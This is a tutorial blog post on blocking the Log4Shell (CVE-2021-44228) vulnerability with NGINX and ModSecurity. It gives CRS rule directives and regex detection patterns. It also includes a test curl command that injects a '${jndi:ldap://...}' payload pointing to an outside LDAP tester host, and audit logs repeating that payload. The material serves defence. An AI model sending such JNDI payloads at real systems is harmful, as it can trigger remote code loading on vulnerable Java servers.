Skip to Main Content

NGINX: How to protect against the Log4j vulnerability

In this article, we’ll show you how to protect against the Log4j vulnerability with NGINX. We’ll kick things off with a short introduction about Log4j and the importance of protecting APIs, before moving on to a detailed, step by step explanation of how to detect and block vulnerabilities with NGINX.

What is Log4j and why is it important to protect against the Log4j vulnerability?

Log4j: A definition

Before diving into how to protect yourself, it’s important to understand exactly what Log4j is. It’s defined as a common tool which is used for both small- and large-scale Java / J2EE projects. In Log4j, we use log statements rather than SOPL statements in the code to know the status of a project while it is executing. Therefore, it takes on major significance in our projects.

Importance of protecting against the Log4j vulnerability

These days, most companies are aware that cross-cutting cybersecurity systems are an absolute must when it comes to protecting each and every process within a given ecosystem, particularly those involving third parties (e.g., APIs). Any disruption to these services has the potential to detrimentally affect business. For this reason, your cybersecurity plan or policy must be closely aligned with both your business and technical processes.

In this instance, we’re not going to explain the intricacies of the Log4j vulnerability itself since there are already a wide range of publications available on this subject.

If you remember, the last time we talked about cybersecurity and how we can protect the exposed APIs, we shared some some tips and some options that exist thanks to the community. For example, we explained that NGINX has the ability to incorporate a WAF module “web application firewall” called Modsecurity, which can help us thanks to the rules of the community to protect the business or service APIs from SQLi attacks, XSS, etc.

This article may interest you: How to configure NGINX as a WAF with ModSecurity.

In their blog, NGINX details various means of protecting vulnerable Java applications, whether hosted in your infrastructure or in the cloud.

How to add rules for detecting and blocking vulnerabilities to NGINX

Steps to take to protect against the Log4j vulnerability

The steps to follow to add to our NGINC with WAF and ModSecurity in operation. The rules to detect and block this type of attacks are as follows:

1. First we must ensure our rules up to date, to do this we can go to https://github.com/coreruleset/coreruleset and download or update them.

Coreruleset.org mentions that the CRS 932130 rule allows detecting known exploits sent by parameters sent by POST or GET methods. However, this rule does not inspect data from HTTP headers also called “HEADERS” and therefore due to the amount of attacks analyzed they detected that this rule was not adequate and included the CVE-2021-45105.

Therefore, they indicate that a quick solution is to include the inspection of the HTTP headers “User-Agent” among others, to apply this solution you must add 2 directives:

# Defense against CVE-2021-44228
SecRuleUpdateTargetById 932130 "REQUEST_HEADERS:User-Agent"
SecRuleUpdateTargetById 932130 "REQUEST_HEADERS:Referer"

Since it is a quick solution, it may generate some false positives.

2. We recommend extending the configuration to all HTTP headers with this directive:

# Defense against CVE-2021-44228
SecRuleUpdateTargetById 932130 "REQUEST_HEADERS"

3. Now we must add the above directives in a new configuration file in the /usr/local/nginx/conf/owasp-crs/rules/xxxxx.conf directory.

4. Next we will add the following rule with id 1005.

# Generic rule against CVE-2021-44228 (Log4j / Log4Shell)# See https://coreruleset.org/20211213/crs-and-log4j-log4shell-cve-2021-44228/
SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_HEADERS|XML://*|XML://@* "@rx (?:${[^}]{0,4}${|${(?:jndi|ctx))" \
"id:1005,\
phase:2,\
block,\
t:none,t:urlDecodeUni,t:cmdline,\
log,\
msg:'Potential Remote Command Execution: Log4j CVE-2021-44228', \
tag:'application-multi',\
tag:'language-java',\
tag:'platform-multi',\
tag:'attack-rce',\
tag:'OWASP_CRS',\
tag:'capec/1000/152/137/6',\
tag:'PCI/6.5.2',\
tag:'paranoia-level/1',\
ver:'OWASP_CRS/3.4.0-dev',\
severity:'CRITICAL',\
setvar:'tx.rce_score=+%{tx.critical_anomaly_score}',\
setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"

5. We can also add below the following 2 rules that have been provided by the community.

# Generic rule against CVE-2021-44228 (Log4j)
SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_HEADERS|XML://*|XML://@* "@rx ${[^}]*${" \
"id:1000,\
phase:2,\
block,\
t:none,t:urlDecodeUni,t:cmdline,\
log,\
msg:'Potential Remote Command Execution: Log4j CVE-2021-44228', \
logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}',\
tag:'application-multi',\
tag:'language-java',\
tag:'platform-multi',\
tag:'attack-rce',\
tag:'OWASP_CRS',\
tag:'capec/1000/152/137/6',\
tag:'PCI/6.5.2',\
tag:'paranoia-level/1',\
ver:'OWASP_CRS/3.4.0-dev',\
severity:'CRITICAL',\
setvar:'tx.rce_score=+%{tx.critical_anomaly_score}',\
setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
 
# Targetted rule against CVE-2021-44228 (Log4j)
# Can be evaded
SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_HEADERS|XML://*|XML://@* "@rx ${jndi:(?:ldaps?|iiop|dns|rmi)://" \
"id:1001,\
phase:2,\
block,\
t:none,t:lowercase,t:urlDecodeUni,\
log,\
msg:'Remote Command Execution: Log4j CVE-2021-44228', \
logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}',\
tag:'application-multi',\
tag:'language-java',\
tag:'platform-multi',\
tag:'attack-rce',\
tag:'OWASP_CRS',\
tag:'capec/1000/152/137/6',\
tag:'PCI/6.5.2',\
tag:'paranoia-level/1',\
ver:'OWASP_CRS/3.3.x',\
severity:'CRITICAL',\
setvar:'tx.rce_score=+%{tx.critical_anomaly_score}',\
setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
 
# Targetted rule against CVE-2021-44228 (Log4j)
# Alternative generic regex
SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_HEADERS|XML://*|XML://@* "@rx ${[\w${}\-:]*j[\w${}\-:]*n[\w${}\-:]*d[\w${}\-:]*i[\w${}\-:]*:.*}" \
"id:1002,\
phase:2,\
block,\
t:none,t:lowercase,t:urlDecodeUni,\
log,\
msg:'Remote Command Execution: Log4j CVE-2021-44228', \
logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}',\
tag:'application-multi',\
tag:'language-java',\
tag:'platform-multi',\
tag:'attack-rce',\
tag:'OWASP_CRS',\
tag:'capec/1000/152/137/6',\
tag:'PCI/6.5.2',\
tag:'paranoia-level/1',\
ver:'OWASP_CRS/3.3.x',\
severity:'CRITICAL',\
setvar:'tx.rce_score=+%{tx.critical_anomaly_score}',\
setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"

All the above rules are not final, but they protect temporarily against the vulnerability. We hope they will release a stable and tested version soon, but that requires time and a lot of testing to avoid false positives.

Remember that to check the configuration before rebooting we must run “NGINX -t” this command checks if the configuration is correct or not, if everything is correct we can proceed to apply the changes with “service NGINX restart or systemctl restart NGINX”.

Putting the rule to test

Here’s an example of console tests showing an attempt to exploit the vulnerability.  In the first attempt the server responds, ‘Empty reply from server’, which means that we have not blocked the new rule.

Once the changes have been applied on the second attempt, NGINX returns a 403 Forbidden.

jesusamoros@Jesuss-MBP ~ % curl -H 'User-Agent: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}' -H 'X-Api-Version: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}' 'https://test.dominio.es'
curl: (52) Empty reply from server
 
 
jesusamoros@Jesuss-MBP ~ % curl -H 'User-Agent: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}' -H 'X-Api-Version: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}' 'https://test.dominio.es'
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx</center>
</body>
</html>

For testing you can use https://log4j-tester.trendmicro.com.

Detected logs

Here the logs of both the proxy and ModSecurity are shown, and depending on how we formulate the operation, some rules or others were detected.

==> /var/log/nginx/log_access.log <==
2x.71.x98.10x - - [22/Dec/2021:17:31:19 +0100] - "-" - "-"-"test" "GET / HTTP/1.1"403 146 "-" "${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}""-" "-" - "GET / HTTP/1.1" - "-" - "-"
[22/Dec/2021:17:31:19 +0100] 2x.71.x98.10x - - - test.dominio.es to: -: GET / HTTP/1.1 upstream_response_time - msec 1640190679.068 request_time 0.000
 
==> /var/log/nginx/modsec_audit.log <==
---vT7t0f8k---A--
[22/Dec/2021:17:31:19 +0100] 1640190679 217.71.198.104 49888 172.16.39.21 443
---vT7t0f8k---B--
GET / HTTP/1.1
Host: test.dominio.es
Accept: */*
User-Agent: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}
X-Api-Version: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}
 
---vT7t0f8k---D--
 
---vT7t0f8k---E--
<html>\x0d\x0a<head><title>403 Forbidden</title></head>\x0d\x0a<body>\x0d\x0a<center><h1>403 Forbidden</h1></center>\x0d\x0a<hr><center>nginx</center>\x0d\x0a</body>\x0d\x0a</html>\x0d\x0a
 
---vT7t0f8k---F--
HTTP/1.1 403
Server: nginx
Date: Wed, 22 Dec 2021 16:31:19 GMT
Content-Length: 146
Content-Type: text/html
Connection: keep-alive
 
---vT7t0f8k---H--
ModSecurity: Warning. Matched "Operator `Rx' with parameter `(?:$(?:\((?:\(.*\)|.*)\)|\{.*})|[<>]\(.*\))' against variable `REQUEST_HEADERS:X-Api-Version' (Value: `${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}' ) [file "/usr/local/nginx/conf/owasp-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "327"] [id "932130"] [rev ""] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170} found within REQUEST_HEADERS:X-Api-Version: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-b (27 characters omitted)"] [severity "2"] [ver "OWASP_CRS/3.4.0-dev"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "172.16.39.21"] [uri "/"] [unique_id "1640190679"] [ref "o0,84v57,84t:cmdLineo0,84v57,84t:cmdLineo0,84v157,84t:cmdLine"]
ModSecurity: Access denied with code 403 (phase 2). Matched "Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `15' ) [file "/usr/local/nginx/conf/owasp-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "139"] [id "949110"] [rev ""] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [data ""] [severity "2"] [ver "OWASP_CRS/3.4.0-dev"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "172.16.39.21"] [uri "/"] [unique_id "1640190679"] [ref ""]
 
---vT7t0f8k---I--

Conclusion

It must be understood that nowadays we live in a technological world in constant flux which is continuously evolving, so one day our company can be calmly using a Java library created by the community, and the next day it can be the most exploited vulnerability ever.

So, what can we do about this? We have a professional team that is prepared for these kinds of issues, and at Chakray we have prepared teams, including myself, where our main objective is to provide an agile response to situations or incidents like the one we are currently in.

Contact us for assistance from multidisciplinary team that works hard and has a wide variety of tools available that allow you to be alert to such situations, and that has the capacity and experience in automation to give a great response in a short period of time, quickly remedying compromised situations.

If you want to know more, don’t hesitate to contact us for more information.